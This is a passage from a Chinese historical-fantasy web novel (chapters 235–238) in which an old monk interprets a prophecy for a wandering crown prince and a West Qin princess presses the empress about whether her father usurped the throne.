待到再也看不见任何风吹草动的迹象,亦再听不到马蹄嗒嗒嗒的声音,方才回过头来认真地看了眼城隍庙的门匾,继而又看向方才那青袍老道站立过的地方,道“那个青袍老道儿又是谁?他竟知道灵龙大陆这么多鲜为人知的事。显然,他知道的一定还远远不止这些。” “真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。” “小店桃花红粉姿,陌头杨柳绿烟丝。” 男子口中默默地念道…… 第二百三十五章:江湖术士与和尚 待到再也看不见任何风吹草动的迹象,亦再听不到马蹄嗒嗒嗒的声音,那红袍妖艳男子方才回过头来认真地看了眼城隍庙的门匾,继而又看向方才那青袍老道站立过的地方,道“那个青袍老道到底是什么人?他竟知道灵龙大陆如此之多鲜为人知的事。显然,他知道的一定还远远不止这些。” “真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。” “小店桃花红粉姿,陌头杨柳绿烟丝。”男子口中默默地念道。 “看这身影和气质,不正是万娇阁里那位大言不惭的面具男子么。原来他就是东宁国文武双全且最是英勇善战,而平日里却甚是一副温润如玉的三皇子梅志煊,难怪在万娇阁里胆敢对本太子如此出言不逊。哼…胆敢拐骗本太子的丫头,日后,本太子一定会抽空和你好好算一算这笔账的,咱们走着瞧!”继而扭头又瞥了一眼方才二人离去的背影,喃喃自语地将话一说罢,便又撩起袍角踏上石阶,跨门进入了城隍庙内。 庙里的夜,古塔、星辰,一切恬静而悠然,万物皆归于静寂。 唯有殿宇檐角上的铜铃,伴随着这片寂静夜里的阵阵晚风,时不时的缓缓飘出那饱含历尽沧桑和风吹雨打的低沉之音。仿佛要洗尽这尘世铅华,涤尽那坠落于世间的每个孤独的灵魂上的尘垢。 忽然,寂静中现出一个小沙弥的身影,渐渐地与这禅院里的背景似是全都融合在了一起。 只见他手里挑着一盏昏暗的青灯,脚下迈着轻盈的步子,缓缓向着一座灯火通明的大殿方向走去。 “小师父,请留步!”红袍男子再次进门后,直接紧随着青袍老道方才离去的方向,便寻到了这座禅院里的殿门前,却只见到院子里一片寂静。正在四处搜索,忽一看见这小沙弥,便急急开口将其拦住。 小沙弥闻声,即刻顿足下来,因一手挑着灯多有不便,便单手恭敬地朝其行礼道“阿弥陀佛,不知施主有何事唤小僧?” 红袍男子忙上前来亦朝其以礼相待,方才开口问道“请问小师父,方才可有见过一位青袍老道人至此。” 小沙弥闻之,当即抬起头来,一双乌亮有神的大眼睛愣愣地朝其怔住。 红袍男子还以为是自己描述的不够清楚,便一边比划着一边补充说道“哦…那青色道袍的老道长,身上挎着一个布袋,年近六旬,满脸白色短须,一手举着“算命卜卦”的布幡,另一手拿着一只铜铃铛,他方才还在……” 岂料红袍男子话音未落,小沙弥便再次朝其单手行礼,急忙开口将其打断,道“阿弥陀佛,施主,城隍庙乃佛家净土,岂会有道人在此出没。想必,是施主你看走眼了吧!” 红袍男子听了小沙弥的话,纳闷极了,因为近日里都忙着四处寻找坠崖又落水失踪了的丫头的下落,他一直都让自己时刻保持着一万分的清醒,滴酒未沾啊,怎么可能是看 走眼亦或是幻觉呢? 于是,他扬起声来对其反驳道“不可能啊,方才我明明亲眼看到了那个青袍老道在前院对那东宁三皇子说了一大堆…不会没有啊?” 小沙弥依然故作镇定地道“有就是有,没有就是没有。‘出家人从不打诳语’,施主若是没有其他事了的话,小僧还有事,便不奉陪了。夜已深了,施主亦早些回去歇息吧。” 小沙弥说着,便兀自转身离去,只留下红袍男子一人在院子里,似是尚还缓不过神来,只愣愣地嘴里不停重复着“这不可能…不可能…不可能……” 进入大殿后,小沙弥将手里的灯熄灭放到了一边的角上,继而迈步又走入了殿。 殿里,一光头老和尚正在整理身上的僧衣。小沙弥一上前来,便高兴地对其行礼,继而伸手帮忙一起整理,说道“师父终于回来了。这几日,庙里的香客实在是太多了,大家可都忙坏了。尤其是那个城东秦王府来的秦王妃,排场颇大,也甚是讲究,不过庙里的香油钱也是得了不少,果然是富甲一方的东宁国永乐公主的气派之举。” 老和尚听了,也只是淡淡地笑了笑,并未就此说些什么。 小沙弥却忽然像是想起了什么,很快将脸上的笑意褪去,摸着自己的小光头问那老和尚,道“对了,师父,那女施主执意要见师父,后来听徒儿说师父外出云游四海,归期全无,便教徒儿帮忙问师父一句什么…‘既生汐,何生云’?那位施主明日一早便要回去王府了,师父是否要见她一面?” “有缘自会相见,无缘见了亦是枉然。‘佛不度无缘之人’,为什么?你跟他说法,他不听,亦不接受。就如她那兄长方才一般,不见也罢。各人有各人的路,各自的劫数,恐怕说了,其也是参悟不了。”老和尚道。 “那师父的意思…就是不见咯?”小沙弥歪着脑袋问。 老和尚兀自琢磨了一会儿,说道“‘既生汐,何生云’,或许现在,在她的心里已经不这样认为了。不过以后…‘出家人当以慈悲为怀’,你就代为师渡她一句‘此有故彼有,此生故彼生;此无故彼无,此灭故彼灭。万法皆空,因果不空。种甚因,结甚果,万事莫强求’。” “此有故彼有,此生故彼生;此无故彼无,此灭故彼灭。万法皆空,因果不空。种甚因,结甚果,万事莫强求。”小沙弥静静地重复记忆着。 半晌后,老和尚已经独自踱步到一旁,看起了经书,小沙弥也似是已经将师父教的话全数记下,便倒了一盏清水,双手捧着过去将其奉上,好奇地问道“师父,为何您每次出门,都是江湖术士一副道人的扮相呢?” “因为师父原本就是一个无牵无挂、游走四方、浪迹天涯的惬意江湖道人啊!”老和尚咽下一口甘泉,和蔼地对其说道。 “师父以前竟真是……”小沙弥闻此,瞬间对其瞪大了那双乌亮的眼睛,张大嘴巴惊的竟连话都 说不出了。 惊了半晌后,方才回过神来将话说完“天呢,真是太不可思议了。那师父为何又成了现在这般,一世都关在这座禅院里,再也不能天高海阔肆意行走了。”小沙弥的言语里,满是悲哀。 老和尚笑着摸了摸小沙弥的小光头,又长长地舒了口气,只道“‘我不入地狱,谁入地狱’,一切都不可说,不能说,亦说不得。” 说着说着,老和尚似是沉浸陷入到了一片深深的回忆当中。 “对了,师父,您果真料事如神呢!您出门后没几天,果然从桃花店村里来了一位女子。”忽然,那小沙弥发出的一极为崇拜的惊叫声将其唤醒过来。 “那你可有将为师嘱咐你的话告知了那个女子?”老和尚问。 “‘真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。‘弟子都说了”小沙弥认真道。 “你做的很好!”老和尚夸赞其道。 “‘真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。‘这句话到底是什么意思呢?”小沙弥笑了笑,亦不解地问道。 “‘真龙’‘凤凰’,他们是拯救这片苍生的两个人……”老和尚幽幽说道。 “‘真龙’‘凤凰’‘龙凤呈祥’,自古以来,龙和凤都代表着吉祥如意,龙凤一起多表示喜庆之事。‘龙,凤’那自是只有贵为一国之主的帝王和帝后才能担得起的称呼。‘真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生’…徒儿明白了,师父的意思是,有可以统一灵龙大陆的能力的帝王和帝后已经重生现世了?”小沙弥兀自念叨着,忽然明白了过来。 稍停片刻,小沙弥又叹了口气,继续自言自语道“可如今灵空大陆有四国,究竟哪国才拥有这般强大的力量。如果传说中西秦的守护者尚还在世,那无疑一定是西秦国一统灵空,可如今……” “对了,方才你在院子里是在跟谁说话?”老和尚笑了笑,心中已然对这个自己亲自带出来的小沙弥如今的成长甚感安慰,转念又问。 闻此,小沙弥的脸上立刻浮起似是有些不悦之色,道“方才院子里不知道从哪里闯进来一个满身脂粉味,打扮极其妖艳的紫红色衣袍男子,正在找师父您呢?也正是因此,徒儿方才才会问起师父为何总是以道人扮相出门啊。” “满身脂粉味,打扮极其妖艳的紫红色衣袍男子?找为师?”老和尚正在独自琢磨着。 小沙弥急道“可不是嘛,徒儿费了半天劲,才将他搪塞过去。这会儿,也不知道他走了没有呢?” “莫非他是……你快去看看他是否还在院里,如若是的话,请他进来。”老和尚吩咐道。 “师父要见他?他是何人?”小沙弥惊讶地问。 “看来,今夜聚在城隍庙里的贵人远远要比为师预料的多的多。”老和尚捋了捋白须道。 第二百三十六章:莫忘今夜佛前言 “莫非他是……你快去看看他是否还在院里,如若是的话,请他进大殿来。”老和尚吩咐道。 “师父要见他?他是何人?”小沙弥惊讶地问。 “看来,今夜聚于城隍庙内的贵人远远要比为师预料的多的多。”老和尚捋了捋那嘬白须道。 小沙弥谨遵老和尚之命,再次挑灯一走出大殿的门,便看到了尚还在那片幽静的月色下仔细凝望着这个院落里的每个角角落落的妖艳男子身影,似是有些失望地正欲转身离去,便忙挑着灯上前去向其行礼邀请道“阿弥陀佛,施主,我家院主有请施主入大殿稍作歇息。” “你家院主?”妖艳男子闻声随即转回身来,一脸纳闷道。 “正是,施主请。”小沙弥说着,便开始迈步在前面挑灯带路,妖艳男子紧随其后朝着前方一片灯火通明的殿宇门桅上高悬着“大雄宝殿”匾额的大殿而去。 大雄宝殿,面宽五间,进深四间,皆清净庄严,露台中央设有一炉台铜鼎。 高大的须弥座用汉白玉雕琢砌筑,晶莹洁白。座上安奉释迎牟尼佛金身佛像,慈眉善目,神态安详,两侧靠墙供奉着十八尊精铁鎏金罗汉像。 大殿内,一身披袈裟的老和尚正在虔诚地焚香祭拜。 妖艳男子一进到大殿内,老和尚便慈眉善目地朝其缓缓踱步过来,将其亲手刚刚为此来人特意点燃的三柱檀香递到手中,劝言道“施主,既然来了,便是与佛有缘之人,就请上柱香吧!” 妖艳男子心中虽对此神佛之事尽是不屑一顾,然却似是依旧被眼前的此情此景,这般氛围所深深震慑到了一般,竟有些不由自主地缓缓伸出手去接过了那三支袅袅檀香,迈步上前将其插入到了佛前的香炉之中。 这时,老和尚方才开口道“施主天庭饱满,仪表堂堂,气质不凡,真是好相貌啊!只是不知为何这个时辰会此院里。此时,可不是恭迎香客的时间啊。” 闻此,妖艳男子依旧有些不羁和傲慢地单手附后,仰头朝其解释道“大师见谅,我虽深夜里来到此地,可却并没有恶意。只因方才在前院里偶见一道长扮相的老者亦朝此院里进来,所以才追随其后进入。” “施主追逐那道长又意欲为何?”老和尚心间顿时一愣,继而问道。 “我…我只是在此附近寻找落水失踪了的妹妹,刚巧要离开寺庙时,无意间恰巧听到了那道长所说的几句话,有些好奇,想问问他其意究竟为何。却不想,那道长却忽然消失不见了。”犹犹豫豫间,妖艳男子回答道。 其实,他只是心里好奇,想要知道那青袍老道与那看起来鬼鬼祟祟的东宁国三皇子到底在说些什么而已。 老和尚这才意识到,方才与那东宁三皇子的谈话,竟都被此人听到了。倒也罢,不妨就此且看看这世人皆传闻中的南安太子是否真的那般淡泊名利,放浪不羁。 于是,他开口问道“ 不知施主方才所听到的是什么金石良言?不妨说予老和尚我来听听,或许,老和尚也能帮施主参透一二呢?” “你?”妖艳男子顿时被面前的这位大言不惭的老和尚之言震惊呆了。 “对,正是老和尚我。”老和尚捋着胡须对其点点头,笑着说道。 妖艳男子怔怔地望着老和尚的眼睛,却忽然似是从中看到了一种世人难得的清明境界,似是蕴藏着一种莫大的智慧一般。 于是,他试着缓缓开口说道“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。” 闻此,老和尚捋着胡须故作将其又重复了一遍后,说道“在回答施主这句话的含义前,老和尚可否先问施主几个问题?哦,当然…施主若是不便回答的话,便可不答。” 岂料妖艳男子想都没想,侧身对其脱口即出“大师想问什么?” 老和尚再次将眼前的男子仔细打量了一番“请问施主可正是世人传闻中的那位‘不爱江山独恋百草’,又钟爱于逍遥自由,无拘无束,放浪无羁的南安国太子殿下。” “你是怎么知道的?”妖艳男子大吃一惊,即刻转身朝着老和尚一怔。 “施主这便是承认自己的身份咯……‘淡泊名利,与世无争,人之初性’,如此,一世自在又惬意,自然是好事。只不过,施主既然生在了帝王家,又贵为一国之储君,却如此整日里妄自闲散度日,而不顾其羽翼庇护下的黎民百姓们是否丰衣足食,是否正处于水深火热之中。这…似是也显得施主太没有担当了,试问如此,以后又如何继承做得了这一国的明君呢?”老和尚认真地问。 “哼…这天下的明君多的是,只这片灵空大陆里就有四人,少本太子一人又如何?再说了,‘人各有志’,这神农尝百草,不也是济世救人,救天下人么!我易三少的百草谷和百草堂,奇花异草遍地都是,试问天下谁人能敌?”岂料那妖艳男子的心里竟一点儿也不为自己的所作所为感到内疚,反而理直气壮地自豪答道。 闻之,老和尚又一次被其言语震惊了。看来,这个南安太子,果然名不虚传,非同凡响,稍停片刻,又接着问“可神农最终却也死在了一株断肠草上。施主如若真的无意于朝堂,那可有曾认真想过南安国的未来又该将何去何从?难不成,施主真的心甘情愿,亲手将其父辈呕心沥血打出来的那片大好河山拱手让人,让世人皆都嗤之以鼻讥笑么?” “将南安交于明君能人之手,使其得到更好的未来,又有何不可?只要南安的黎民百姓们生活越来越好,谁做这位统治明君又有何妨?”妖艳男子反问老和尚道。 老和尚一脸惊愕,没想到这位南安国后人竟如此深明大义。看来,这灵空大陆,的确是到了该统一的时候了。 “如此,老和尚再已无任何疑问了。只是,老和尚恳请施主无论何时,都不要忘了今日在佛祖面前所说的一 切,阿弥陀佛,善哉善哉!”老和尚最后双手合十,对佛行礼念道。 “男子汉大丈夫,一言既出,驷马难追,当然说话算话,大师莫要轻看了本太子。”妖艳男子对其信誓旦旦道。 于是,老和尚悠悠说道“灵空一统,这句话毋庸置疑。只是这,何谓‘龙’?何谓‘凤’?何谓‘生’?何谓‘死’?何又谓之‘涅’呢?” “何谓‘龙’?何谓‘凤’?何谓‘生’?何谓‘死’?何又谓之‘涅’……大师的意思是说……”妖艳男子默默地随其重复着,忽然似是已缓缓明白了过来,顿时瞪大了那对温柔细长的桃花眼,朝其欲言又止地惊声道,老和尚依旧在其身旁只点头微笑着。 妖艳男子的心中,显然似是已经预感到了些什么。 半晌后,老和尚忽然开口问那妖艳男子,道“对了,方才老和尚我听施主说在此附近寻找落水失踪了的妹妹,请问是否已经找到了呢?” 闻此,妖艳男子方才回过神来,但却是一脸无奈地摇了摇头。 “究竟发生了什么事呢?施主不妨说说。”老和尚道。 妖艳男子暗自想想,反正自己已苦苦寻了多日,却毫无一丝进展,就仿佛衣上云是真的从人间蒸发了一般,自己都快要被自己那样顽强的意志给打败了。索性,便也将北山悬崖上所发生的事情所有经过,一一对其诉说了起来。 听完整个事情的来龙去脉,老和尚这才恍然大悟,原来这位南安太子竟与衣上云和秦王都是熟识之人,便问“不知施主和那位失踪了的姑娘究竟是什么关系?真如施主所言,仅仅是施主的妹妹。” “她……她是本太子在这个世上唯一想要却似是永远都不可能得到的人。妹妹……哼,总比什么都不是的好!”妖艳男子苦笑一声,无奈道。 “英雄难过美人关,原来施主意不在江山与朝堂,除了百草外,竟也是个风流倜傥的痴情人。只不过,红尘多烦恼,情深总羁绊,倒是有悖于施主的放浪无羁了。殊不知,世间情缘,多为情深缘浅,来也匆匆,去也匆匆,一切皆如梦幻泡影,到了曲终人散之时,只不过是平添了一缕寸断肝肠罢了。”老和尚道。 此言一出,大殿内一片寂静,再无任何声音。 “夜已深了,本太子就不多叨扰了,有缘再见!”沉默了许久后,妖艳男子忽回过神来,随即拱手朝老和尚道别。 “施主保重!”老和尚对着其已微微转过的背影说道。 正当妖艳男子刚好跨出门槛,一直守在殿外的小沙弥进门来,将门关至只留有一道缝隙时,忽然再次飘出了老和尚的声音来,道“‘小店桃花红粉姿,陌头杨柳绿烟丝。’施主寻人,不妨往此处觅去,‘生既是死,死亦是生’。’” 闻此,妖艳男子蓦然醒悟过来道“‘小店桃花红粉姿,陌头杨柳绿烟丝。’难道,那东宁国三皇子也在寻丫头……” 第二百三十七章:玥儿,一定要强大起来 妖艳男子的脚刚跨出大殿的门槛去,一直守在殿外的小沙弥进了门来,将门轻轻关起,正好至只留有一道缝隙时,忽然再次飘出了老和尚的声音来,道“‘小店桃花红粉姿,陌头杨柳绿烟丝。’施主寻人,不妨往此处觅去,‘生既是死,死亦是生’。’” 闻此,妖艳男子顿时双眼一怔,蓦然醒悟过来道“‘小店桃花红粉姿,陌头杨柳绿烟丝。’难道,那东宁国三皇子也是在寻找丫头…他究竟为何一直纠缠丫头,这其中,一定有什么秘密……” 一时间里,妖艳男子的心中又惊又喜道“丫头还活着,丫头居然真的还活着,太好了,真是太好了!” 说着,便满怀希望着大步流星急急走出了城隍庙的大门,翻身上马朝着夜雾里梅志煊方才离去的方向奔去。 桃花店村里。 经过了今夜一场游灯走桥习俗的洗礼,欢儿与若曦俩人的感情果然增进了许多。 回到家以后,欢儿主动将老妇人房内小床上若曦的物件全都搬到了自己房内,老妇人看着她的变化一脸疑惑不解道“欢儿,你不是很怕若曦吗?这会儿怎么自己跑来老身的房内搬若曦的东西了呢?” “老夫人此言差矣,这俗话说的好‘新做的鞋子还会磨脚呢’,更何况是这大千世界里,俩个素未蒙面过的陌生人呢!不过,从现在开始,欢儿就是若曦的眼睛,她要看什么,欢儿便看什么,她要去哪里,欢儿便往哪里去……我们俩从此,形影不离。”话音未落,欢儿便已经跑完了最后一趟,一溜烟似的飞了出去。 老妇人望着其消逝的背影,露出一脸无可奈何的笑容来。 若曦则被欢儿一带回家来,便安顿着坐在自己的床边,还三令五申地让她绝对一动都不能动。于是,她便只好坐在原地里静静地独自琢磨起来“如梦亭里,恍如一梦,梦中我看到了好多画面,可是却唯独都看不清楚那些男男女女的脸。这些到底都是些什么人?跟我又有什么关系?‘真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生’,这又是什么意思?” 老妇人则在另一屋内,一盏昏暗的烛火照耀下,满腹心事纳闷地喃喃自语道“她一定便是守护者没错,可究竟她身上为何会没有守护者的专属凤凰印记呢…不行,看来明天我得亲自去躺城隍庙见大师一面。” 西秦皇宫里。 一片灯火通明,金碧辉煌的大殿里,一场君臣共度的满堂生辉,气氛庄严而又祥和的宴会刚刚结束,侍宴的君臣亦已散去。 此时,夜空中皎洁的月光和闪烁的星辰,将巍娥高大的整个西秦皇宫渲染的恍若天上的宫阙般,缥缈犹如仙境。 皇后的朝华宫里,阵阵夜风佛过,吹送着香炉前的袅袅香烟,使偌大的宫殿里四处都流溢着丝丝缕缕的一股清香。 “母后,儿臣只不过几年未在宫中而已,竟不知宫里元宵夜的 节目何时起竟已如此好玩。儿臣觉得那个从宫外请来的杂技班子,表演的钻圈、魔术、倒立等等,惊险刺激,真是令人目不暇接。还有,是谁竟想出办法来特意将民间的街市情景搬到了宫中,阵阵欢声笑语,货郎高声的叫卖,人潮涌动,热闹非凡……这民间街头活脱脱的场景完全不必走出宫门便尽收于眼底,一览无余了啊,儿臣真是觉得甚是新奇好玩。” 多年在外游历,回宫后第一次过元宵节的太子轩辕昊似是此时仍然意犹未尽,立在殿中央一脸兴奋地手舞足蹈着说道。 皇后着一袭绣金凤袍,装扮甚是隆重地端坐在殿内一软榻上一边听,一边微笑着,抿了一口侍女奉上来的花茶。 继而又以锦帕拭了拭嘴角的茶渍,方才不以为然地开口缓缓道“母后倒是比较喜欢各地官吏纷纷进奉上来的特制花灯,其设计无一不精美绝伦,真是让人看的眼花缭乱。尤其是那些个寓意吉祥的彩灯,马形灯寓意马到成功,蟾蜍灯寓意蟾宫折桂,还有漂亮的螃蟹灯、兔子灯、仙鹤灯和官员灯……不过,要说最令人震撼和有心的,还是要属那西秦学院的陆贤进奉上来的《万民喜闹元宵图》,更是将处于风调雨顺与国泰民安下的我西秦国黎民百姓,在民间欢度元宵佳节应有尽有的场景细节,都绘制的惟妙惟肖,真是美极了,也颇为震撼人心。” “对对对,母后说的是,儿臣早就听闻西秦学院陆贤上通天文,下知地理,其学术造诣更是灵空大陆无人能及,只可惜,他却也是个不爱功名与朝堂的闲人野鹤。”轩辕昊言语里带着不尽的羡慕与一丝惋惜幽幽说道。 片刻过后,待其回过神来忽一扭头,这才看到一旁的轩辕竟然静静地默在边上独自端坐着,手里捧着一碗醇香的奶茶,却只是似在发呆的样子一直看着,便踱步过去到其身旁,问道“皇姐,你呢?是不是也和母后一样,喜欢那些光彩夺目的花灯和陆贤的那副《万民喜闹元宵图》呢?” 岂料轩辕竟不知陷入了多深的沉思之中,竟对立在其面前几乎是对其专门大声耳语的轩辕昊毫无察觉。 于是,轩辕昊皱起眉头来伸手抢过其手上端着的奶茶,轩辕这才急急缓过神来,惊诧地问“啊?怎么了吗?” 皇后亦远远地撇见了她此时的异常,轩辕昊疑惑地问“皇姐,今夜乃一年一度的元宵佳节,欢歌笑语,普天同庆。皇姐为何却独自一整晚都闷闷不乐的样子,这到底是为了什么?皇姐有何心事?说出来,兴许昊儿和母后可以帮皇姐说道说道呢!” 岂料,此话一出,轩辕竟顿时露出一脸难色来,似是想说又不想说,不知是羞于启齿,还是其它什么原因。 于是,轩辕昊便兀自猜测着,取笑其道“哦,皇弟明白了。良辰吉日,皇姐是不是又在挂念你的好姻缘了!” “昊儿休要乱说,哪有的事?”轩辕似是有些生气地矢口否认道。 不是这个?方才,程将军已经派人快马加鞭来宫中禀报,秦皇叔已经安然无恙地苏醒过来,那还能有什么事能让皇姐如此牵肠挂肚,心不在焉呢?”轩辕昊摸了摸脑袋,纳闷道。 思之又思,轩辕久久还是不知该如何开口来问。 然轩辕昊也依旧不依不饶地继续对其揣测道“莫非是因为…云儿?” 一听到‘云儿’这两个字,轩辕总算是重重地叹了口气。继而对大殿里侍候着的宫女太监们扬声下令道“你们都退下去吧,没有母后的传唤,任何人都不得入内来打扰。” 皇后显然对轩辕此时如此神秘而又异常的举动惊愣住了,然还是严肃地朝着侍从们点了点头,一大殿的宫女太监这才急急听命退了下去。 众人散去,偌大的宫殿内瞬间就只剩下了这母子三人,皇后眉头微微蹙起,这才难得肃穆地开口问轩辕,道“儿,你今夜到底是怎么了?” 岂料这还不止,轩辕竟又起身来,将两手附在一直立在自己面前一脸大问号的轩辕昊的肩上,说道“昊儿,夜已深了,你也先回宫去吧。今夜,皇姐想和母后单独说说话。” 轩辕昊立刻反驳道“皇姐为何如此神秘,究竟是什么事,竟然连皇弟也不能知道么?” 轩辕对其甚为坚决地摇了摇头,轩辕昊有些不服气地转过头去,看了同样满是疑问的怔在原地的皇后一眼,便有些气恼地迈起大步,无可奈何地走出了殿门去。 这时,轩辕方才缓缓移步到皇后的身边,为其亲自将茶碗里的茶汤添满敬上,目光坚定地说道“母后,儿在西秦皇宫里的时日已然不多了,有些事,儿想在离开前亲自听母后说清楚。如此,儿方才能安心地远嫁他国。” 闻此,皇后一时间里竟凝视着眼前这个从小到大,在她膝下承欢于左右,自己亲眼看着长大的女儿,深深地怔愣住了。 她看着这个女儿此时从来都没有过这般认真和坚定的眼神,忽然发现,原来自己的女儿认真起来竟有这般强大逼人的一股气势。 或许,她是真的长大了吧。如此也好,以后的日子里,她只能这样义无反顾地认真让自己变得强大,方才能有立足之地。 这个世上,当然不止西秦皇宫里有斗争,哪个皇宫里又曾消停过呢?!漫漫岁月,以后的路,显然诸多的事,即使她贵为一国之母,怕是也爱莫能助了。 所以,这一刻,她定是深感安慰的。她在心里默默地祈愿:对,就是这样,儿,以后,你一定要使自己变得越来越强大起来。 于是,皇后虽然脸上满是严肃,然心里其实却是欣慰极了的缓缓接过轩辕恭敬递上前来的茶碗,抿了一口茶汤,淡淡地问“儿想知道什么?” 轩辕深吸了口气,似是鼓足了勇气道“母后,儿想知道,当年父皇究竟是如何登上帝位的?其真相究竟是什么?” 第二百三十八章:真命天子究竟是谁 皇后虽然脸上满是严肃,然心里其实却是欣慰极了的缓缓接过轩辕玥恭敬递上前来的茶碗,抿了一口茶汤,淡淡地问“玥儿想知道什么?” 轩辕玥深吸了口气,似是鼓足了勇气字字铿锵地问道“母后,玥儿想知道,当年父皇究竟是如何登上帝位的?其真相究竟是什么?为何会有那么多人在宫里传说,那个位置本来应是属于秦皇叔的?究竟谁才是西秦国的真命天子?” “啪嚓嚓……” 闻此,皇后手里的那只已伸出去大半,本应稳稳地落在其身旁案几上的茶碗突然间顺势滑落下来,掉在地板上碎成了好几片,发出一阵清脆极了的响声来。 茶碗里剩余的茶汤亦随之到处四溅开来,溅污了她身上甚为名贵的一袭绣金凤袍的袍角。 她抬起眼来,眉头紧皱,怔怔地凝视了轩辕玥的眼睛半晌后,方才回过神来惊讶地问“玥儿的这些话是从何处听来的?” “这重要么?”看到了母后对自己的这句话此时如此这般之大的震惊反应,轩辕玥的心里似是已经有了些许答案,眼里不禁流露出一丝失望的眼神来反问道。 “此话日后可千万不能再乱说,这若是被你父皇听到了的话,不仅散播这些谣言的那些人会被株连九族,哪怕就连你,也可能会被受牵连……你记住了吗?”皇后看着轩辕玥此时认真极了的表情,顿然起身来,用力地摇晃着轩辕玥的胳膊,对其叮嘱道。 岂料轩辕玥竟依旧义正言辞地兀自说道“‘谣言’?母后今夜真的打算就用如此轻描淡写的两个字来堵玥儿的一片真心么?” 看着皇后明显已有些六神无主,似是只想急急三言两语便将所有真相掩盖过去的样子,轩辕玥竟忽然冷哼了一声,继续说道“‘身正不怕影子斜’,更何况是一国之君呢。如果父皇自己行事光明磊落,果真是名正言顺,对秦皇叔和整个西秦国上上下下心中毫无半点愧疚的话,又怎会怕这些无中生有的流言蜚语呢?除非……当年父皇真的是以大欺小、恃强凌弱、谋权篡位、抢了本属于秦皇叔的所有这一切。” “玥儿,快住口!”皇后心惊胆战地似是再也不愿听她说下去了,便迫不及待地慌忙朝其呵斥阻止道。 然轩辕玥却怔怔地看着皇后的眼睛,忽然间眼里噙满了泪水,心中亦瞬间似是被什么东西堵住了一般,不得呼吸,一只手握成小拳紧紧地抵在胸前道“其实,当玥儿第一次听闻朝中官员在底下议论,说当年皇爷爷所立下的储位人选本是秦皇叔,秦皇叔才是真正的西秦真命天子的时候,玥儿也像母后现在一样,甚至比母后这个时候更为激动和愤怒,恨不得想要立刻摘下那名大言不惭的臣子的脑袋。可是, 理智驱使着玥儿,告诉玥儿,玥儿不能这样做。” “为什么?”皇后一脸黯然又不解地问。 轩辕玥认真地看了皇后一眼,继而将头扭向一边幽幽道“因为,玥儿发现,玥儿可以轻而易举便杀掉一个散播谣言的乱臣贼子,但是玥儿却杀不尽,亦堵不眼世人的悠悠之口。” 稍作停顿,轩辕玥吐了口浊气,转过头来问“母后贵为一国之母,儿臣斗胆,请问母后这些年里可曾用心去看看我西秦国的这片大地?又可曾用心去倾听过我西秦子民他们心里的疾苦?” 一边说着,轩辕玥伸手将皇后的一只胳膊搀扶了起来,让其坐回了方才的软榻上,自己亦紧挨着其缓缓坐下,幽幽道“自从皇爷爷离世之后,在我西秦国的这片大地上,每隔三年便会发生一次大规模的天灾。平日里,更是各种战火人祸不断。世人皆称,西秦若不是因为秦皇叔的存在,不仅天灾难防,就连人祸亦将无人能敌。母后,如今的西秦,日渐堪忧啊。” 轩辕玥小小年纪,虽为女儿身,却也不失为皇族之后,自有一种气质与担当于身,任谁也不可否认,见皇后始终都一脸为难,不肯透露半分,她继续心疼地对其兀自说道“且不说这些年来,各地四涌而入的劳民伤财的各战事消耗。仅只西秦国的每次大灾过后,国库哪一次可曾喘过气?而父皇,不竭尽全力地想办法如何帮助百姓度过危难时刻,反而苛捐杂税不减半分,放着置身于水深火热中的子民于不顾,倒是将多数金银用在了追寻永生极乐之上。作为一国之君,不应该是‘先天下之忧而忧,后天下之乐而乐’么?如此这般永无止境地搜刮百姓的民脂民膏,这该让西秦子民们有多痛心啊!” 闻此,皇后终于在自己一片深深的沉思之中,重重地叹了口气,似是已对其所言有些动容。 见此,轩辕玥趁热打铁,继续道“这么多年过去了,难道母后真的看不出,父皇一直对秦皇叔疑心重重,步步压制紧逼。这外忧加内患,西秦的明天又还有何可言?然每每危急的时候,西秦百姓的心里只有在对侵略者的一次又一次挑衅的战场上,以一敌百誓死守护着身后他们家园的西秦战神秦王,只有亲自带领着他们从大灾大难之中一起走过来的西秦秦王。” 稍作停顿,整理好自己激动起伏的内心,轩辕玥再次看着皇后的眼睛,道“母后,长久以往,入不敷出,恶性循环,如此下去,百姓终有一日将流离失所,对朝廷失去信心。到时候,西秦国就真的是国将不国,危在旦夕了! 这时,不知不觉中早已悄悄握手成拳的皇后似是无可奈何地说了句“后宫不得干政,玥儿不会不知。” “‘后宫不得干 政’这句话,难道就能让西秦国的万千黎民百姓们原谅他们这位贵为一国之母的母后您的职责吗?” “我……”闻此,皇后似是已无言可辩,却还是一脸难色着, 这时,轩辕玥的语气也渐渐缓和了下来“说真的,有时候儿臣真的希望自己永远都是个什么都不懂的天真孩童,只纯粹地做父皇和母后的掌上明珠。如此,便不会有任何立场矛盾的时候。其实,儿臣也不想看到已渐渐年迈的父皇伤心。可是,儿臣又觉得自己这样自欺欺人,真的太自私了。这对秦皇叔不公平,对西秦的子民亦不公平,他们本应有更好的明君指引,过上更好的日子,秦皇叔本应该毫无羁绊,拥有最大的权利去做这件事情,不是么?” 自从经历了城南之事,轩辕玥心里感受颇多,此时真是太激动了,然皇后却一直都守口如瓶,似是始终都不愿透露出半个字。 无奈,最后,她只能默默地祝福道“无论如何,儿臣一直坚信,终有一日,秦皇叔一定会得到他曾经所失去的一切。母后,儿臣离开西秦后,归期定无期,还望母后一定要善自珍重。” 岂料轩辕玥此话一出,皇后竟突然间开了口“是太后……” “是皇祖母?母后的意思是……当年皇爷爷立储的对象真的是秦皇叔。”闻此,轩辕玥的眼睛顿时朝着皇后的脸怔呆了。 皇后一边回忆,一边对其缓缓道“当年,母后亦刚入宫与你父皇大婚不久。听闻因为西秦皇族的守护者遗孤,在被送入宫里的途中遭遇不测,坠崖身亡,继而西秦大地上天灾人祸到处四起,百姓民不聊生。你皇爷爷因此才意识到了自己是真的犯下了弥天大错,不该不顾群臣的谏言,这才致使西秦国失去了守护者。” “原来,世人皆传闻中的西秦天子的守护者竟真的存在着,那后来呢?”轩辕玥惊讶道。 